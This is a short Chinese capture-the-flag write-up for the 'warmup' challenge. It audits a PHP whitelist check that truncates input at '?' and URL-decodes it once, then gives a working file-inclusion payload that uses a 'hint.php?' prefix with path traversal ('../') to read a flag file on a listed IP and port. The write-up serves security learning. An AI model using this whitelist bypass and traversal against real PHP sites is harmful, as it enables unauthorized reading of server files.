CTF-warmup(远程文件包含漏洞+代码审计)
时间:2022-05-11 13:02
一.题目描述
题目没有介绍,直接来一张滑稽的表情。
直接F12,发现信息,source.php文件,然后直打开;接着有发现了hint.php这个文件。
二.代码审计
$_page = mb_substr( $page, 0, mb_strpos($page . ‘?‘, ‘?‘) ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?‘, ‘?‘)//截取到?之前的page部分,再加上0位之前的那个?,就是两个?之间的内容 ); if (in_array($_page, $whitelist)) { return true; } echo "you can‘t see it"; return false; } }
if (! empty($_REQUEST[‘file‘]) //参数file不能为空 && is_string($_REQUEST[‘file‘]) //参数file为字符串 && emmm::checkFile($_REQUEST[‘file‘]) // file应该返回值为Ture ) { include $_REQUEST[‘file‘]; exit; } else { echo "
"; } ?> 思路: 第一个if,判断page变量是否为空,是否是字符串
第二个if,判断传入的page是否在白名单中
第三个if,截取page ?之前的字符赋给_page,判断_page是否在白名单中
第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,因此需传入二次编码后的内容,就可以使checkfile返回true。 三.构造payload
http://111.200.241.244:54915/?file=hint.php?/../../../../../../../../ffffllllaaaagggg